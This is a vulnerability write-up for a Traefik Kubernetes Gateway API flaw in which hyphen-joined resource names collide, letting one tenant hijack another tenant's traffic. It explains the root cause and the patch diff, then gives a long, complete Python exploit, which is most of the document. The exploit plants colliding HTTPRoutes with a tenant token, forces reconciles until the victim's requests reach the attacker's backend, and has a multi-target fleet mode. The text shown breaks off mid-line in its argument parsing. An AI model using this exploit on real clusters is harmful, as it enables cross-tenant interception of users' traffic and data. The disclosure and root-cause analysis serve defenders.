#Summary

CVE-2026-71327 is an authorization bypass vulnerability in Traefik's Kubernetes Gateway API provider that affects versions 3.0.0 through 3.6.24 and 3.7.0 through 3.7.9. The vulnerability allows a tenant holding only namespace-scoped permissions to silently hijack traffic destined for applications in other namespaces by exploiting a non-injective resource identifier construction (CWE-694). A colliding HTTPRoute, GRPCRoute, TCPRoute, or TLSRoute can force the victim's requests through the attacker's backend. Fixed in 3.6.25 and 3.7.10. CVSS 7.6 HIGH.

#Affected versions

The vulnerability requires:

#Root cause analysis

#The non-injective identifier

Traefik's Kubernetes Gateway API provider names every dynamic-configuration object by hyphen-concatenating namespace, route name, Gateway identity, entry point, and rule index. This is the core identifier construction:

httproute-<namespace>-<name>-gw-<gateway_namespace>-<gateway_name>-ep-<entrypoint>-<rule_index>

However, Kubernetes object and namespace names are DNS-1123 labels, which may themselves contain hyphens. The normalization step that follows does not restore component boundaries:

// Normalize replaces all special chars with `-`.
func Normalize(name string) string {
    fargs := func(c rune) bool {
        return !unicode.IsLetter(c) && !unicode.IsNumber(c)
    }
    return strings.Join(strings.FieldsFunc(name, fargs), "-")
}

This creates an ambiguity: an HTTPRoute named a-app in namespace team and an HTTPRoute named app in namespace team-a both produce the normalized identifier httproute-team-a-app-gw-<...>. The two identifiers collide.

#How the collision propagates

Each Route is loaded into its own dynamic.Configuration and then merged into the shared configuration with a plain maps.Copy, which performs last-writer-wins with no duplicate detection:

if to.HTTP.Routers == nil {
    to.HTTP.Routers = map[string]*dynamic.Router{}
}
maps.Copy(to.HTTP.Routers, from.HTTP.Routers)

When two Routes' identifiers collide, whichever Route is iterated later wins and overwrites the first one's configuration.

#Two collision surfaces

1. The concrete backend service key. loadService names the load balancer from the backend identity alone, with no route scoping:

serviceName := provider.Normalize(namespace + "-" + string(backendRef.Name) + "-http")
portStr := strconv.FormatInt(int64(port), 10)
serviceName = provider.Normalize(serviceName + "-" + portStr)

Namespace team + Service victim-svc on port 80 produces the same key as namespace team-victim + Service svc on port 80: both normalize to team-victim-svc-http-80. When an attacker creates a Route pointing at their own Service in the colliding namespace, Traefik emits that same key with the attacker's pod as the server. The victim's own router, which is untouched and still matches Host: victim.local, now resolves through it.

2. The router identity key. makeRouterName appends a hash computed over the match rule only, not over the identity:

func makeRouterName(rule, name string) string {
    h := sha256.New()
    h.Write([]byte(rule))
    return fmt.Sprintf("%s-%.10x", name, h.Sum(nil))
}

The ambiguous routeKey prefix stays; only the hash changes. Two Routes with identical rules produce identical hashes and identical router names, so the attacker must copy the victim's hostname and path match. The entire router object then replaces the victim's.

#Race characteristic

The winner is decided by client-go indexer map iteration order, which is unspecified and re-rolls on every provider reconcile (nominally every 2 seconds). This is not a narrow race: each reconcile is roughly a coin flip, and the attacker only needs it to land once. The attacker can force a fresh reconcile by touching their own Route, so they converge on a win in a handful of iterations.

#Patch diff

Commit a764166656f0cd337f917ac76315c381cca844f9 ("Avoid router name collisions in Kubernetes Gateway API provider") restores injectivity by adding a length prefix on each identity component before hashing:

-func makeRouterName(rule, name string) string {
+func makeRouterName(kind, rule, namespace, name, gatewayNamespace, gatewayName, epName string, ruleIndex int) string {
+	label := provider.Normalize(fmt.Sprintf("%s-%s-%s-gw-%s-%s-ep-%s-%d", kind, namespace, name, gatewayNamespace, gatewayName, epName, ruleIndex))
+
 	h := sha256.New()
 
+	for _, c := range []string{namespace, name, gatewayNamespace, gatewayName, epName, strconv.Itoa(ruleIndex)} {
+		// Length-prefixing to avoid ambiguity between distinct components with embedded delimiter.
+		fmt.Fprintf(h, "%d:%s", len(c), c)
+	}
+
 	h.Write([]byte(rule))
 
-	return fmt.Sprintf("%s-%.10x", name, h.Sum(nil))
+	return fmt.Sprintf("%s-%.10x", label, h.Sum(nil))
 }

The length-prefixed hash 4:team5:a-app... and 6:team-a3:app... are distinct byte strings, so the two Routes now get different SHA-256 suffixes and different router names. The human-readable label prefix remains ambiguous, but the collision is resolved entirely by the hash.

The concrete backend service name is also changed to be router-scoped:

-	serviceName := provider.Normalize(namespace + "-" + string(backendRef.Name) + "-http")
+	serviceName := fmt.Sprintf("%s-svc-%s-%s-%d", routerName, namespace, backendRef.Name, backendIndex)

This change is user-visible: service names shift from team-victim-svc-http-80 (vulnerable) to httproute-team-a-app-gw-...-<hash>-svc-team-victim-svc-0 (patched).

#Proof of concept

#exploit.py - Traefik Route Identity Collision PoC

The exploit implements both collision surfaces and operates as a tenant with only namespace-scoped RBAC permissions. It runs in three modes:

  1. Backend mode (default): hijack traffic by colliding on the concrete backend key
  2. Router mode: hijack traffic by colliding on the router identity key (requires copying the victim's rule)
  3. Scan mode: passive fingerprinting of Traefik instances to identify vulnerable versions

Here is the complete exploit:

#!/usr/bin/env python3
"""
CVE-2026-71327 - Traefik Kubernetes Gateway API route identity collision
Affected: Traefik 3.0.0 - 3.6.24 and 3.7.0 - 3.7.9 (fixed in 3.6.25 / 3.7.10)
Type: Authorization bypass / cross-tenant traffic hijack (CWE-694)

Traefik's Kubernetes Gateway API provider names the dynamic-configuration objects it
generates by hyphen-joining identity fields. Kubernetes namespace and object names are
DNS-1123 labels and may themselves contain hyphens, so the join is not injective: two
different (namespace, name) pairs can produce one identical key. The generated maps are
merged last-writer-wins, so a tenant who can create a Route in a namespace whose name
collides with a victim's identity silently repoints the victim's traffic at their own pods.

Two collision surfaces exist in the vulnerable releases, both implemented here:

  backend mode (default) - the concrete load balancer is named
      Normalize("<backend ns>-<backend name>-http") + "-" + <port>
    from the backend alone, with no route scoping. Namespace "team-victim" + Service "svc"
    on port 80 produces the same key as namespace "team" + Service "victim-svc" on port 80.
    The attacker's Route keeps its own hostname; the victim's own router resolves through
    the overwritten key. Nothing about the victim's routing rule needs to be known.

  router mode - the router key is
      Normalize("httproute-<ns>-<name>-gw-<gw ns>-<gw name>-ep-<entrypoint>-<rule index>")
    plus a SHA-256 suffix taken over the match rule only. Namespace "team-a" + Route "app"
    collides with namespace "team" + Route "a-app". Because the hash covers the rule and
    not the identity, the attacker must also copy the victim's hostname and path match for
    the suffix to line up, after which the whole router object is replaced.

The exploit needs namespace-scoped Kubernetes credentials (CVSS PR:L): create/patch/delete
on httproutes in one namespace, nothing else. It needs no access to the victim namespace,
no access to the Gateway object and no cluster-wide read.

The winner of the overwrite is decided by client-go map iteration order and re-rolls on
every provider reconcile, so the exploit polls and forces fresh reconciles until it lands.

Usage:
  python exploit.py --host <gateway> --port 80 \
      --k8s-api https://10.0.0.1:6443 --token-file tenant.token \
      --victim-host app.corp.com --victim-namespace team --victim-service victim-svc \
      --namespace team-victim --backend-service svc

  python exploit.py --host https://gw.corp.com --victim-host app.corp.com \
      --k8s-api https://10.0.0.1:6443 --token-file tenant.token \
      --victim-namespace team --victim-service victim-svc \
      --namespace team-victim --backend-service svc --marker "pwned"

  # router-identity variant (copies the victim's rule, replaces the whole router)
  python exploit.py --host <gateway> --mode router \
      --k8s-api https://10.0.0.1:6443 --token-file tenant.token \
      --victim-host app.corp.com --victim-namespace team --victim-name a-app \
      --namespace team-a --route-name app --backend-service attacker-svc

  # passive fleet check: each line is an exposed Traefik API endpoint, checked for the
  # affected version and the collidable naming scheme
  python exploit.py --list targets.txt --api-port 8080 --workers 20

  # full fleet exploitation: add the tenant credentials and victim identity, and each
  # line is then a gateway entry point that gets the real hijack attempt
  python exploit.py --list gateways.txt --k8s-api https://10.0.0.1:6443 \
      --token-file tenant.token --victim-host app.corp.com \
      --victim-namespace team --victim-service victim-svc \
      --namespace team-victim --backend-service svc
"""

import argparse
import json
import re
import secrets
import ssl
import sys
import time
import http.client
from urllib.parse import urlparse

CVE_ID    = "CVE-2026-71327"
VULN_TYPE = "Authorization Bypass (cross-tenant route identity collision)"

# Releases carrying the non-injective identifier construction.
VULN_RANGES = (((3, 0, 0), (3, 6, 25)), ((3, 7, 0), (3, 7, 10)))


def header(host: str, port: int) -> None:
    print(f"\n{'='*60}")
    print(f"  ALIM EXPLOIT  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")


def step(n: int, msg: str) -> None:
    print(f"[STEP {n}] {msg}")


def section(label: str, content: str) -> None:
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")


def done(success: bool, evidence: str) -> None:
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)


# ---------------------------------------------------------------------------
# transport
# ---------------------------------------------------------------------------

def _http(host, port, use_tls, method, path, headers=None, body=None,
          timeout=10.0, verify=False, host_header=None):
    """One HTTP(S) request. Returns (status, headers dict, body bytes)."""
    hdrs = dict(headers or {})
    if host_header:
        hdrs["Host"] = host_header
    hdrs.setdefault("User-Agent", "Mozilla/5.0 (X11; Linux x86_64) "
                                  "AppleWebKit/537.36 (KHTML, like Gecko) "
                                  "Chrome/126.0.0.0 Safari/537.36")
    hdrs.setdefault("Accept", "*/*")
    hdrs.setdefault("Connection", "close")

    if use_tls:
        ctx = ssl.create_default_context()
        if not verify:
            ctx.check_hostname = False
            ctx.verify_mode = ssl.CERT_NONE
        conn = http.client.HTTPSConnection(host, port, timeout=timeout, context=ctx)
    else:
        conn = http.client.HTTPConnection(host, port, timeout=timeout)
    try:
        conn.request(method, path, body=body, headers=hdrs)
        resp = conn.getresponse()
        data = resp.read()
        return resp.status, dict(resp.getheaders()), data
    finally:
        try:
            conn.close()
        except Exception:
            pass


class K8sClient:
    """Minimal Kubernetes API client: bearer token, JSON in, JSON out."""

    def __init__(self, api_url, token, timeout=15.0, verify=False):
        p = urlparse(api_url if "://" in api_url else "https://" + api_url)
        self.tls = p.scheme != "http"
        self.host = p.hostname
        self.port = p.port or (443 if self.tls else 80)
        self.token = token
        self.timeout = timeout
        self.verify = verify

    def request(self, method, path, payload=None, content_type="application/json"):
        body = json.dumps(payload).encode() if payload is not None else None
        hdrs = {"Authorization": "Bearer " + self.token, "Accept": "application/json"}
        if body is not None:
            hdrs["Content-Type"] = content_type
        st, _, data = _http(self.host, self.port, self.tls, method, path,
                            headers=hdrs, body=body, timeout=self.timeout,
                            verify=self.verify)
        try:
            parsed = json.loads(data) if data else {}
        except ValueError:
            parsed = {"raw": data[:500].decode("utf-8", "replace")}
        return st, parsed

    def routes_path(self, namespace, name=None):
        base = f"/apis/gateway.networking.k8s.io/v1/namespaces/{namespace}/httproutes"
        return base + ("/" + name if name else "")

    def create_route(self, namespace, manifest):
        return self.request("POST", self.routes_path(namespace), manifest)

    def patch_route(self, namespace, name, patch):
        return self.request("PATCH", self.routes_path(namespace, name), patch,
                            content_type="application/merge-patch+json")

    def delete_route(self, namespace, name):
        return self.request("DELETE", self.routes_path(namespace, name))

    def get_route(self, namespace, name):
        return self.request("GET", self.routes_path(namespace, name))


# ---------------------------------------------------------------------------
# identity arithmetic - the bug itself, reimplemented client side
# ---------------------------------------------------------------------------

def normalize(name: str) -> str:
    """Port of traefik's provider.Normalize: split on non-alphanumeric runs, join with '-'."""
    return "-".join(p for p in re.split(r"[^0-9A-Za-z]+", name) if p)


def backend_service_key(namespace: str, service: str, port: int) -> str:
    """loadService's generated name for a concrete backend in the vulnerable releases."""
    return normalize(normalize(f"{namespace}-{service}-http") + f"-{port}")


def route_identity_key(namespace, name, gw_namespace, gw_name, entrypoint, rule_index):
    """The ambiguous routeKey the vulnerable provider builds per rule."""
    return normalize(
        f"httproute-{namespace}-{name}-gw-{gw_namespace}-{gw_name}-ep-{entrypoint}-{rule_index}"
    )


def parse_version(text: str):
    m = re.search(r"(\d+)\.(\d+)\.(\d+)", text or "")
    return tuple(int(g) for g in m.groups()) if m else None


def version_is_vulnerable(ver):
    return any(lo <= ver < hi for lo, hi in VULN_RANGES) if ver else False


# ---------------------------------------------------------------------------
# route manifests
# ---------------------------------------------------------------------------

def build_route(name, namespace, hostnames, path, backend_service, backend_port,
                gw_name, gw_namespace, gw_section):
    parent = {"name": gw_name, "namespace": gw_namespace}
    if gw_section:
        parent["sectionName"] = gw_section
    return {
        "apiVersion": "gateway.networking.k8s.io/v1",
        "kind": "HTTPRoute",
        "metadata": {"name": name, "namespace": namespace},
        "spec": {
            "parentRefs": [parent],
            "hostnames": hostnames,
            "rules": [{
                "matches": [{"path": {"type": "PathPrefix", "value": path}}],
                "backendRefs": [{"name": backend_service, "port": backend_port}],
            }],
        },
    }


# ---------------------------------------------------------------------------
# backend identification over the network
# ---------------------------------------------------------------------------

def _fetch(host, port, use_tls, path, host_header, timeout, verify):
    return _http(host, port, use_tls, "GET", path, timeout=timeout,
                 verify=verify, host_header=host_header)


def stable_fingerprint(host, port, use_tls, path, host_header, timeout, verify, samples=3):
    """
    Lines the victim's backend returns identically across several requests.

    Volatile fields (request counters, timestamps, client port) drop out of the
    intersection, so what survives identifies the backend rather than the request.
    """
    seen = None
    last = b""
    for i in range(samples):
        st, _, body = _fetch(host, port, use_tls, path, host_header, timeout, verify)
        if st is None:
            continue
        last = body
        lines = set(body.decode("utf-8", "replace").splitlines())
        seen = lines if seen is None else (seen & lines)
        if i + 1 < samples:
            time.sleep(0.3)
    return (seen or set()), last


def looks_hijacked(body_bytes, baseline_lines, marker):
    """
    Network-observable decision: is this response coming from a different backend?

    With --marker, the operator's own backend signature must appear in the body. Without
    one, the response must have lost lines that the victim's backend returned on every
    baseline sample.
    """
    text = body_bytes.decode("utf-8", "replace")
    if marker:
        return marker in text
    if not baseline_lines:
        return False
    lines = set(text.splitlines())
    return bool(baseline_lines - lines)


# ---------------------------------------------------------------------------
# corroboration via an exposed Traefik API (optional, never required)
# ---------------------------------------------------------------------------

def traefik_api(host, api_port, use_tls, path, timeout=6.0, verify=False):
    try:
        st, _, body = _http(host, api_port, use_tls, "GET", path,
                            timeout=timeout, verify=verify)
        if st != 200:
            return None
        return json.loads(body)
    except Exception:
        return None


ROUTE_KINDS = r"(?:httproute|grpcroute|tcproute|tlsroute)"


def classify_service_names(names):
    """
    Split generated Gateway API service names into patched-style and vulnerable-style.

    Patched builds scope the concrete load balancer under the unique router name:
        <kind>-<...>-<20 hex>-svc-<backend ns>-<backend name>-<index>
    Vulnerable builds derive it from the backend identity alone:
        <backend ns>-<backend name>-http-<port>

    Matching on "-svc-" alone is not enough: a Service legitimately named "victim-svc"
    puts that substring inside the vulnerable form too ("team-victim-svc-http-80").
    The route-kind prefix is what actually separates the two shapes.
    """
    patched, vulnerable = [], []
    for raw in names:
        n = raw.split("@")[0]
        if re.match(r"^" + ROUTE_KINDS + r"-", n) and "-svc-" in n:
            patched.append(raw)
        elif re.search(r"-(?:http|https)-\d+$", n):
            vulnerable.append(raw)
    return patched, vulnerable


def api_fingerprint(host, api_port, use_tls, timeout=6.0, verify=False):
    """
    Passive exploitability check against an exposed Traefik API.

    Returns (verdict, evidence). The reported version is the primary signal; the shape of
    the generated backend service names corroborates it and catches backported fixes.
    """
    ver_doc = traefik_api(host, api_port, use_tls, "/api/version", timeout, verify)
    if ver_doc is None:
        return None, "Traefik API not reachable"

    ver = parse_version(ver_doc.get("Version", ""))
    ver_s = ver_doc.get("Version", "unknown")
    services = traefik_api(host, api_port, use_tls, "/api/http/services", timeout, verify) or []
    gw = [s.get("name", "") for s in services if "@kubernetesgateway" in s.get("name", "")]
    patched_names, vuln_names = classify_service_names(gw)

    if not version_is_vulnerable(ver):
        return False, f"Traefik {ver_s} is outside the affected ranges"
    if patched_names:
        return False, (f"Traefik {ver_s} reports an affected version but generated names are "
                       f"router-scoped, so the fix is present (e.g. {patched_names[0]})")
    if vuln_names:
        return True, (f"Traefik {ver_s} vulnerable, {len(vuln_names)} Gateway API backend "
                      f"service(s) using the collidable naming scheme "
                      f"(e.g. {vuln_names[0]})")
    if gw:
        return True, f"Traefik {ver_s} vulnerable, {len(gw)} Gateway API service(s) loaded"
    return True, f"Traefik {ver_s} vulnerable, no Gateway API routes currently loaded"


# ---------------------------------------------------------------------------
# core exploit
# ---------------------------------------------------------------------------

def _run_attack(host, port, use_tls, path, opts, emit=None):
    """
    Plant the colliding Route and poll for the hijack.

    Returns (success, evidence, detail). Prints only through `emit`, which the scan path
    leaves as None. Always removes the Route it created unless told otherwise.
    """
    def say(fn, *a):
        if emit:
            fn(*a)

    timeout = opts["timeout"]
    verify = opts["verify"]
    marker = opts["marker"]
    victim_host = opts["victim_host"]

    # Per-invocation, not per-process: --list runs these concurrently and a shared name
    # would make one target's Route collide with another's (and would leave a stale name
    # behind if a cleanup ever failed). Router mode pins the name, since the collision
    # arithmetic dictates it.
    nonce = secrets.token_hex(4)
    route_name = opts["route_name"] or f"route-{nonce}"
    attacker_host = opts["attacker_host"] or f"svc-{nonce}.internal"

    # 1. Baseline. Whatever answers the victim's hostname now is what we must displace.
    say(step, 1, f"Fingerprinting the backend that currently answers Host: {victim_host}")
    baseline_lines, baseline_body = stable_fingerprint(
        host, port, use_tls, path, victim_host, timeout, verify)
    if not baseline_body:
        return False, f"no response for Host: {victim_host} at {host}:{port}", ""
    say(section, "BASELINE RESPONSE (victim backend)",
        baseline_body.decode("utf-8", "replace")[:800])

    # 2. Collision arithmetic, asserted before anything is created. A typo here would
    #    produce a clean-looking negative that means nothing.
    if opts["mode"] == "backend":
        victim_key = backend_service_key(opts["victim_namespace"], opts["victim_service"],
                                         opts["victim_port"])
        our_key = backend_service_key(opts["namespace"], opts["backend_service"],
                                      opts["backend_port"])
        label = "generated backend service key"
    else:
        victim_key = route_identity_key(opts["victim_namespace"], opts["victim_name"],
                                        opts["gw_namespace"], opts["gw_name"],
                                        opts["entrypoint"], opts["rule_index"])
        our_key = route_identity_key(opts["namespace"], route_name,
                                     opts["gw_namespace"], opts["gw_name"],
                                     opts["entrypoint"], opts["rule_index"])
        label = "generated route identity key"

    say(step, 2, f"Checking the {label} collides")
    say(section, "IDENTITY COLLISION",
        f"victim   {opts['victim_namespace']}/"
        f"{opts['victim_service'] if opts['mode'] == 'backend' else opts['victim_name']}"
        f"  ->  {victim_key}\n"
        f"ours     {opts['namespace']}/"
        f"{opts['backend_service'] if opts['mode'] == 'backend' else route_name}"
        f"  ->  {our_key}\n"
        f"collide  {victim_key == our_key}")
    if victim_key != our_key:
        return (False,
                f"keys do not collide ({our_key} != {victim_key}) - pick a namespace/name "
                f"whose hyphen-join reproduces the victim's",
                "")

    # 3. Tenant credentials. Namespace-scoped only; this is the whole privilege requirement.
    k8s = K8sClient(opts["k8s_api"], opts["token"], timeout=timeout, verify=verify)
    say(step, 3, f"Authenticating to the Kubernetes API as a tenant of {opts['namespace']}")
    st, doc = k8s.request("GET", k8s.routes_path(opts["namespace"]))
    if st != 200:
        return False, f"tenant cannot list httproutes in {opts['namespace']} (HTTP {st})", ""
    st_v, _ = k8s.request("GET", k8s.routes_path(opts["victim_namespace"]))
    say(section, "TENANT PRIVILEGE",
        f"list httproutes in {opts['namespace']}        -> HTTP {st} "
        f"({len(doc.get('items', []))} existing)\n"
        f"list httproutes in {opts['victim_namespace']} -> HTTP {st_v} "
        f"{'(no access to the victim namespace, as expected)' if st_v == 403 else ''}")

    # 4. Plant the colliding Route.
    if opts["mode"] == "backend":
        hostnames = [attacker_host]
        rule_path = "/"
    else:
        # The router key's hash covers the match rule, so it has to be reproduced exactly.
        hostnames = [victim_host]
        rule_path = opts["victim_path"]

    manifest = build_route(route_name, opts["namespace"], hostnames, rule_path,
                           opts["backend_service"], opts["backend_port"],
                           opts["gw_name"], opts["gw_namespace"], opts["gw_section"])
    say(step, 4, f"Creating HTTPRoute {opts['namespace']}/{route_name} "
                 f"-> {opts['backend_service']}:{opts['backend_port']}")
    st, doc = k8s.create_route(opts["namespace"], manifest)
    if st not in (200, 201):
        if st == 409:
            return False, f"HTTPRoute {route_name} already exists in {opts['namespace']}", ""
        return False, f"could not create HTTPRoute (HTTP {st}: {doc.get('message', '')[:120]})", ""
    created = True
    say(section, "ROUTE PLANTED", json.dumps({
        "namespace": opts["namespace"], "name": route_name,
        "hostnames": hostnames, "backendRefs": f"{opts['backend_service']}:{opts['backend_port']}",
        "parentRefs": f"{opts['gw_namespace']}/{opts['gw_name']}"
        + (f" (listener {opts['gw_section']})" if opts["gw_section"] else ""),
        "collides_on": victim_key,
    }, indent=2))

    success, evidence, detail = False, "", ""
    try:
        # 5. Poll. The overwrite winner re-rolls on every reconcile, so keep forcing
        #    reconciles and keep asking the gateway who answers the victim's hostname.
        say(step, 5, f"Polling Host: {victim_host} for the hijack "
                     f"({opts['attempts']} attempts, {opts['interval']}s apart)")
        for attempt in range(1, opts["attempts"] + 1):
            time.sleep(opts["interval"])
            try:
                st_r, _, body = _fetch(host, port, use_tls, path, victim_host, timeout, verify)
            except Exception as exc:
                say(print, f"  attempt {attempt}: probe error ({exc.__class__.__name__})")
                continue

            if st_r == 200 and looks_hijacked(body, baseline_lines, marker):
                text = body.decode("utf-8", "replace")
                say(print, f"  attempt {attempt}: backend changed")
                say(section, f"HIJACKED RESPONSE (Host: {victim_host})", text[:800])

                # Capture the corroborating maps in the same iteration: the roll can
                # flip back on the next reconcile.
                if opts["api_port"]:
                    services = traefik_api(host, opts["api_port"], use_tls,
                                           "/api/http/services", timeout, verify)
                    if services:
                        rows = [f"{s.get('name')}  ->  "
                                f"{s.get('loadBalancer', {}).get('servers') or s.get('weighted', {}).get('services')}"
                                for s in services if "@kubernetesgateway" in s.get("name", "")]
                        if rows:
                            say(section, "TRAEFIK SERVICE MAP AT HIJACK", "\n".join(rows))
                            detail = "\n".join(rows)

                    # Router count is the decisive signal in router mode: two Routes are
                    # attached, so two routers must exist. One means the keys collided
                    # and one Route's object replaced the other's.
                    routers = traefik_api(host, opts["api_port"], use_tls,
                                          "/api/http/routers", timeout, verify)
                    if routers:
                        rrows = [f"{r.get('name')}  rule={r.get('rule')}  "
                                 f"service={r.get('service')}"
                                 for r in routers if "@kubernetesgateway" in r.get("name", "")]
                        if rrows:
                            say(section,
                                f"TRAEFIK ROUTER MAP AT HIJACK ({len(rrows)} gateway routers)",
                                "\n".join(rrows))

                first = next((l for l in text.splitlines() if l.strip()), "")
                success = True
                evidence = (f"Host: {victim_host} answered by our backend "
                            f"{opts['namespace']}/{opts['backend_service']} after "
                            f"{attempt} poll(s) - response begins '{first.strip()[:80]}'")
                break

            say(print, f"  attempt {attempt}: still the victim's backend, forcing a reconcile")
            # Touching our own Route re-rolls the map iteration order. Respect the
            # provider throttle: bursts inside one window collapse into a single reload.
            k8s.patch_route(opts["namespace"], route_name,
                            {"metadata": {"annotations":
                                          {"sync.local/generation": str(attempt)}}})

        if not success:
            evidence = (f"planted a colliding Route but Host: {victim_host} was still served "
                        f"by the original backend after {opts['attempts']} reconciles - "
                        f"target appears patched")
    except KeyboardInterrupt:
        evidence = "interrupted"
    finally:
        if created and opts["cleanup"]:
            st_d, _ = k8s.delete_route(opts["namespace"], route_name)
            say(step, 6, f"Removing HTTPRoute {opts['namespace']}/{route_name} "
                         f"(HTTP {st_d})")

    return success, evidence, detail


def _try_exploit(host, port, use_tls, path="/", opts=None):
    """Silent probe for --list scan mode. Returns (success, evidence). Never prints or exits."""
    opts = opts or {}
    try:
        if opts.get("k8s_api") and opts.get("token") and opts.get("victim_host"):
            ok, evidence, _ = _run_attack(host, port, use_tls, path, opts, emit=None)
            return ok, evidence
        # No tenant credentials for this target: fall back to the passive API fingerprint.
        # Here each line names a Traefik API endpoint, so the port on the line is the one
        # to query; --api-port only supplies the default for lines that carry no port.
        verdict, evidence = api_fingerprint(host, port, use_tls,
                                            opts.get("timeout", 6.0),
                                            opts.get("verify", False))
        if verdict is None:
            return False, evidence
        return verdict, evidence
    except Exception as exc:
        return False, f"unreachable ({exc.__class__.__name__})"


def _parse_target(line: str, default_port: int, default_path: str = "/"):
    """One target line -> (host, port, use_tls, path), or None to skip."""
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file: str, default_port: int, workers: int = 10, opts=None) -> None:
    """Batch scan from file."""
    import concurrent.futures

    with open(targets_file) as f:
        targets = [_parse_target(l, default_port) for l in f]
    targets = [t for t in targets if t is not None]

    print(f"\n{'='*60}")
    print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
    print(f"{'='*60}\n")

    success_count = 0

    def probe(t):
        host, port, use_tls, path = t
        label = f"{'https' if use_tls else 'http'}://{host}:{port}"
        ok, evidence = _try_exploit(host, port, use_tls, path, opts)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print(f"  {'[+]' if ok else '[-]'} {label} - "
                  f"{'Exploitable' if ok else 'Not vulnerable'}: {evidence}")
            if ok:
                success_count += 1

    total = len(targets)
    print(f"\n{'='*60}")
    print(f"  SCAN COMPLETE  {success_count} exploitable / "
          f"{total - success_count} not vulnerable  ({total} total)")
    print(f"{'='*60}\n")
    sys.exit(0 if success_count > 0 else 1)


def exploit(host, port, use_tls, path, opts) -> None:
    header(host, port)

    missing = [k for k in ("k8s_api", "token", "victim_host") if not opts.get(k)]
    if missing:
        flags = {"k8s_api": "--k8s-api", "token": "--token/--token-file",
                 "victim_host": "--victim-host"}
        done(False, "missing required arguments: "
                    + ", ".join(flags[m] for m in missing)
                    + " (the hijack is planted through the Kubernetes API)")

    if opts["mode"] == "backend" and not (opts["victim_service"] and opts["backend_service"]):
        done(False, "backend mode needs --victim-service and --backend-service")
    if opts["mode"] == "router" and not (opts["victim_name"] and opts["route_name"]):
        done(False, "router mode needs --victim-name and --route-name")

    success, evidence, _ = _run_attack(host, port, use_tls, path, opts, emit=True)
    done(success, evidence)


if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description=f"{CVE_ID} - Traefik Gateway API cross-tenant route identity collision")

    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Gateway entry point: hostname, IP or full URL")
    target_grp.add_argument("--list", metavar="FILE",
                            help="File with one target per line for batch scan")

    parser.add_argument("--port", type=int, default=80,
                        help="Gateway entry point port (default: 80)")
    parser.add_argument("--path", default="/", help="Request path to probe (default: /)")
    parser.add_argument("--api-port", type=int, default=8080,
                        help="Traefik API port for corroboration and scan fingerprinting "
                             "(default: 8080; 0 disables)")
    parser.add_argument("--workers", type=int, default=10,
                        help="Threads for --list mode (default: 10)")

    kube = parser.add_argument_group("Kubernetes tenant access (CVSS PR:L)")
    kube.add_argument("--k8s-api", help="Kubernetes API server URL, e.g. https://10.0.0.1:6443")
    kube.add_argument("--token", help="Tenant ServiceAccount bearer token")
    kube.add_argument("--token-file", help="File holding the bearer token (avoids the "
                                           "process list)")

    vic = parser.add_argument_group("Victim identity (what to hijack)")
    vic.add_argument("--victim-host", help="Hostname the victim application is served on")
    vic.add_argument("--victim-namespace", help="Namespace the victim Route/Service lives in")
    vic.add_argument("--victim-service", help="Victim Service name (backend mode)")
    vic.add_argument("--victim-port", type=int, default=80,
                     help="Victim Service port (default: 80)")
    vic.add_argument("--victim-name", help="Victim HTTPRoute name (router mode)")
    vic.add_argument("--victim-path", default="/",
                     help="Victim's PathPrefix match, copied in router mode (default: /)")

    atk = parser.add_argument_group("Attacker position (the colliding namespace)")
    atk.add_argument("--namespace", help="Namespace we control, chosen so its hyphen-join "
                                         "reproduces the victim's key")
    atk.add_argument("--backend-service", help="Our Service, receiving the hijacked traffic")
    atk.add_argument("--backend-port", type=int, default=80,
                     help="Our Service port (default: 80)")
    atk.add_argument("--route-name", help="Name for the HTTPRoute we create "
                                          "(default: random; dictated by the collision in "
                                          "router mode)")
    atk.add_argument("--attacker-host", help="Hostname on our own Route in backend mode "
                                             "(default: random, deliberately not the "
                                             "victim's)")
    atk.add_argument("--mode", choices=("backend", "router"), default="backend",
                     help="Collision surface: backend service key (no rule copying) or "
                          "router identity key (copies the victim's rule) (default: backend)")

    gw = parser.add_argument_group("Shared Gateway")
    gw.add_argument("--gateway-name", default="shared", help="Gateway name (default: shared)")
    gw.add_argument("--gateway-namespace", default="default",
                    help="Gateway namespace (default: default)")
    gw.add_argument("--gateway-section", default="web",
                    help="Gateway listener sectionName (default: web)")
    gw.add_argument("--entrypoint", default="web",
                    help="Traefik entry point name behind that listener (default: web)")
    gw.add_argument("--rule-index", type=int, default=0,
                    help="Rule index used in the identity key (default: 0)")

    run = parser.add_argument_group("Run control")
    run.add_argument("--marker", help="String our backend returns, asserted in the hijacked "
                                      "response; without it, any change from the victim's "
                                      "baseline counts")
    run.add_argument("--attempts", type=int, default=20,
                     help="Reconcile rolls to wait for (default: 20)")
    run.add_argument("--interval", type=float, default=3.0,
                     help="Seconds between polls; keep above the provider throttle "
                          "(default: 3.0)")
    run.add_argument("--timeout", type=float, default=10.0,
                     help="Per-request timeout (default: 10.0)")
    run.add_argument("--verify-tls", action="store_true",
                     help="Verify TLS certificates (off by default: clusters use private CAs)")
    run.add_argument("--no-cleanup", action="store_true",
                     help="Leave the planted Route in place")

    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")

    args = parser.parse_args()

    token = args.token
    if args.token_file:
        with open(args.token_file) as fh:
            token = fh.read().strip()

    opts = {
        "k8s_api": args.k8s_api, "token": token,
